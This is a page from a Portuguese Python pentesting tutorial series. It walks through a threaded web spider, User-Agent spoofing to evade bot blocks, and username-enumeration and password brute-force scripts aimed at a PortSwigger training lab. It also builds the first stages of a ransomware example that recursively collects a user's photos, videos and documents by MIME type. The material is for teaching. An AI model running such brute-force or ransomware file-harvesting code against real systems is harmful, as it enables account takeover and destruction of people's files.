Aprenda Python Pentest

  • Página Inicial
  • Contato!
  • Tudo sobre Python Pentest Parte 1!
  • Tudo sobre Python Pentest Parte 2!
  • Tudo sobre Python Pentest Parte 3!
  • Tudo sobre Python Pentest Parte 4!
  • Tudo sobre Python Pentest Parte 5!
  • Tudo sobre Python Pentest Parte 6!
  • Tudo sobre Python Pentest Parte 7!
  • Tudo sobre Python Pentest Parte 8!
  • Tudo sobre Python Pentest Parte 9!
  • Tudo sobre Python Pentest Parte 10!
  • Tudo sobre Python Pentest Parte 11!
  • Tudo sobre Python Pentest Parte 12!
  • Tudo sobre Python Pentest Parte 13!
  • Tudo sobre Python Pentest Parte 7

    Threads no Spider

    Podemos também adicionar threads no programa, primeiramente, retire as linkas re, html e soup e coloque elas na função findLinks, assim:

    
    def findLinks(url):
        re = requests.get(url)
        html = re.text
        soup = BeautifulSoup(html, "html.parser")
        
        # Os fors ficarão tudo aqui embaixo
    
    

    Daí, basta retirar todas as variáveis iguais a elas do código, deixando apenas a invocação da função findLinks, assim:

    
    findLinks(url)
    
    

    Pra implementar as threads, importe threading, e altere a invocação dentro do for assim:

    
    th = threading.Thread(target = findLinks, args = (url,)) # Importe threading
    th.start()
    
    

    Mas ele vai trabalhar com um monte de requisições e vai dar uns problemas. Para isso, podemos adicionar um semáforo, no começo do código, antes das funções, coloque apenas isso:

    
    global semaforo
    semaforo = threading.Semaphore(3)
    
    

    E na função findLinks, identar tudo dentro do with semaforo, assim:

    
    def findLinks(url):
        with semaforo:
            cont = 0
            while True:
                try:
                    re = requests.get(url)
                    break
                except requests.exceptions.SSLError:
                    try:
                        re = requests.get(url, verify = False)
                        break
                    except requests.exceptions.ConnectionError:
                        time.sleep(2)
                except requests.exceptions.ConnectionError:
                    time.sleep(2) # Importe time
                
                if cont == 4:
                    return 0 # Sai da função
                
                cont += 1
    
            html = re.text
            soup = BeautifulSoup(html, "html.parser")
            
            # O restante continua a mesma coisa, só que identado
    
    

    Bloqueio de Bots

    É muito comum a gente ter bloqueios de bots, que podem ser um problema no spider. Vamos supor esse simples programa:

    
    import requests
    
    re = requests.get("https://4d3358.com/spider/pagina1/bot.php")
    
    print(re.text)    
    
    

    O user agent passado é algo como python-requests/2.32.3, quando acessamos o mesmo por um browser, ele já retorna algo como isso:

    
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
    
    

    Com isso, podemos ver que alguns sites bloqueiam bots de scripts como o Python, justamente pra evitar ataques do tipo.

    Pra passar um user agent qualquer, podemos fazer assim:

    
    import requests
    
    hd = {"User-Agent": "Seu User Agent aqui"}
    
    re = requests.get("https://4d3358.com/spider/pagina1/bot.php", headers = hd)
    
    print(re.text)
    
    

    Daí, é só passar qualquer user-agent, como o exemplificado acima.

    
    hd = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"}
    
    

    Mas pode ser que o site tenha uma proteção para, por exemplo, ocultar e-mails e telefones de sites, algo de proteção das próprias hospedagens, até mesmo no Inspecionar Elemento do navegador pode ser bloqueado, porque a página só exibe os dados se processarem Javascript.

    Uma forma mais eficiente de burlar esse tipo de bot, é utilizar um Captcha.

    Requisições com Python

    Pra exemplificar, entre nesse site e crie uma conta: https://portswigger.net/

    Depois, acesse o laboratório dele indo aqui e procure o "Username enumeration via different responses": https://portswigger.net/web-security/all-labs#authentication

    Clique em Access the Lab e ele abrirá o site de exemplo pra testarmos.

    Entre na página de login e digite um nome de usuário e senha qualquer pra ver se ele mostra alguma mensagem de erro de login. Com isso podemos fazer esse programa:

    
    import requests
    
    url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
    form = {"username": "carlos", "password": "123"}
    hd = {"Content-Type": "application/x-www-form-urlencoded"}
    
    re = requests.post(url, data = form, headers = hd)
    
    print(re.text)
    
    

    Daí, é só ver se no HTML ele também retorna o texto de login inválido. Deixe o código assim:

    
    import requests
    
    url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
    user = "carlos"
    form = {"username": user, "password": "123"}
    hd = {"Content-Type": "application/x-www-form-urlencoded"}
    
    re = requests.post(url, data = form, headers = hd)
    
    if "Invalid username" not in re.text:
        print(user)
    
    

    Salve essa wordlist e altere o código assim:

    
    import requests
    
    url = "https://0a2d007404c984d28049178f00fc0031.web-security-academy.net/login"
    hd = {"Content-Type": "application/x-www-form-urlencoded"}
    
    with open("wordlist-users.txt") as arqUser:
        for u in arqUser.readlines():
            u = u.replace("\n", "")
    
            print(f"Testando {u}", end = "")
    
            form = {"username": u, "password": "123"}
            re = requests.post(url, data = form, headers = hd)
    
            print(" " * 30, end = "\r")
    
            if "Invalid username" not in re.text:
                print(u)
                break
    
    

    No caso, ele só vai exibir se o usuário existir no banco de dados.

    Daí, é só alterar assim pra ele pegar a senha, com essa wordlist:

    
    with open("wordlist-senhas.txt") as arqPass:
        for p in arqPass.readlines():
            p = p.replace("\n", "")
            form = {"username": "admin", "password": p}
    
            print(f"Testando {p}", end = "")
            
            re = requests.post(url, data = form, headers = hd)
            
            print(" " * 30, end = "\r")
    
            if "Incorrect password" not in re.text:
                print(p)
                break
    
    

    Listando Arquivos do Sistema

    Podemos fazer um exemplo tipo um ransomware pra entender como o mesmo funciona, nesse caso é preferível fazer no Windows.

    Um ransomware funciona da seguinte forma, nessa ordem:

    Pra listar a raiz do sistema, simplesmente fazemos isso:

    
    import os
    
    print(os.listdir("/"))
    
    

    No caso acima, ele listará a raiz do sistema, mas colocará arquivos e pastas na mesma lista. Pra listar só as pastas, fazemos assim:

    
    import os
    
    for fl in os.listdir("/"):
        if os.path.isdir(f"/{fl}"):
            print(f"/{fl}/")
    
    

    Reescrevendo com uma função:

    
    import os
    
    def listarDir(path):
        for fl in os.listdir(path):
            if os.path.isdir(f"{path}{fl}"):
                print(f"{path}{fl}/")
    
    listarDir("/")
    
    

    Salvando os arquivos numa lista:

    
    import os
    
    def listarDir(path):
        for fl in os.listdir(path):
            if os.path.isdir(f"{path}{fl}"):
                dirs.append(f"{path}{fl}/")
                print(f"{path}{fl}/")
    
    global dirs
    dirs = list()
    listarDir("/")
    
    if len(dirs) >= 0:
        print(dirs)
    
    

    Depois, é só alterar o último if assim, pra listar recursivamente os diretórios:

    
    if len(dirs) >= 0:
        for d in dirs:
            listarDir(d)
    
    

    PS: Pode dar alguns problemas de permissão, pra isso, altere a função assim:

    
    def listarDir(path):
        try:
            for fl in os.listdir(path):
                if os.path.isdir(f"{path}{fl}"):
                    dirs.append(f"{path}{fl}/")
                    print(f"{path}{fl}/")
        except PermissionError:
            pass
    
    

    Só que isso, vai fazer ele listar muitas pastas, o que pode travar o sistema. No caso, nós podemos fazer assim, pra listar apenas as pastas mais importantes, como no caso, a Users:

    
    dirs = list()
    listarDir("/Users/")
    
    

    PS: Podemos remover o print da função, pra deixar o script mais leve.

    Pra usar threads, podemos fazer assim:

    
    if len(dirs) >= 0:
        thrd = list()
        for d in dirs:
            th = threading.Thread(target = listarDir, args = (d,)) # Importe threading
            thrd.append(th)
            th.start()
            
        for t in thrd:
            t.join()
    
    print("Finalizou!")
    
    

    Altere a função assim e declare uma lista global pra verificar os arquivos, pela extensão:

    
    def listarDir(path):
        try:
            for fl in os.listdir(path):
                if os.path.isdir(f"{path}{fl}"):
                    dirs.append(f"{path}{fl}/")
                elif fl.split(".")[-1] in ("png", "pdf", "jpg", "jpeg", "mp4"):
                    if os.path.isfile(f"{path}{fl}"):
                        files.append(f"{path}{fl}") # Sem a barra
        except PermissionError:
            pass
    
    global files
    files = list()
    global dirs
    dirs = list()
    listarDir("/Users/")
    
    

    E no final do código, podemos colocar um print pra mostrar os arquivos:

    
    print("Finalizou!")
    print(files)
    
    

    PS: O ideal é verificar arquivos pelo MimeType, que aprenderemos mais pra frente.

    Analisando Mime Type

    A forma como mostramos anteriormente pra identificar arquivos foi pela extensão, mas isso pode ser burlado caso a extensão seja alterada, até porque pra alguns sistemas (como o Linux e os baseados em Unix no geral) a extensão não importa muito, mas sim o MimeType, que é o que o arquivo em si é.

    Podemos dar um cat (Linux) ou type (Windows) num arquivo como um PNG ou um MP4, e podemos ver inúmeros caracteres incompreensíveis pra nós. Geralmente nos primeiros bytes que fica a assinatura do arquivo (isso é muito usado em engenharia reversa), e geralmente os primeiros bytes (que podem ser visualizados num programa que lê hexadecimal) identificam um arquivo (como um PNG, que qualquer arquivo do tipo tem a assinatura do começo igual, é como um header).

    Veja um exemplo de um header em hexa de um arquivo JPEG, por exemplo:

    
    FF D8 FF E0 00 10 4A 46    49 46 00 01 01 00 00 01 
    00 01 00 00 FF FE 00 3B    43 52 45 41 54 4F 52 3A 
    20 67 64 2D 6A 70 65 67    20 76 31 2E 30 20 28 75 
    73 69 6E 67 20 49 4A 47    20 4A 50 45 47 20 76 36 
    32 29 2C 20 71 75 61 6C    69 74 79 20 3D 20 39 30    
    
    

    Vamos instalar duas bibliotecas no Python, a python_magic e a python_magic_bin, colocar uma imagem na pasta do projeto e criar um novo arquivo de teste assim:

    
    import magic
    
    fMagic = magic.Magic()
    fType = fMagic.from_file("imagem.jpg")
    
    print(fType)
    
    

    Pra pegar só o MimeType, faça assim no construtor:

    
    fMagic = magic.Magic(mime = True)
    
    

    Aqui teremos a lista dos MimeTypes: https://mimetype.io/all-types

    Daí, no arquivo de Ransom, basta colocar essa função aqui nele:

    
    def checkFile(file): # Importe magic
        fMagic = magic.Magic(mime = True)
        fType = str(fMagic.from_file(file))
        
        if fType in ("image/jpeg", "image/png", "image/gif", "audio/mpeg", "video/mp4", "application/pdf", "text/plain"): # Coloque vários MimeTypes
            files.append(file)
    
    

    E altere o if else da função listarDir assim:

    
    for fl in os.listdir(path):
        if os.path.isdir(f"{path}{fl}"):
            dirs.append(f"{path}{fl}/")
        else:
            checkFile(f"{path}{fl}")
    
    

    Como o código acima acabará dando um erro, fora de qualquer função, declare o fMagic como global, assim:

    
    global fMagic
    fMagic = magic.Magic(mime = True)
    
    

    Daí, é só retirar a declaração dele na função checkFile, deixando ela assim:

    
    def checkFile(file): # Importe magic
        try:
            fType = str(fMagic.from_file(file))
        
            if fType in ("image/jpeg", "image/png", "image/gif", "audio/mpeg", "video/mp4", "application/pdf", "text/plain"): # Coloque vários MimeTypes
                files.append(file)
        except:
            pass
    
    

    Podemos melhorar a exibição, fazendo assim no lugar do último print:

    
    for fl in files:
        print(fl)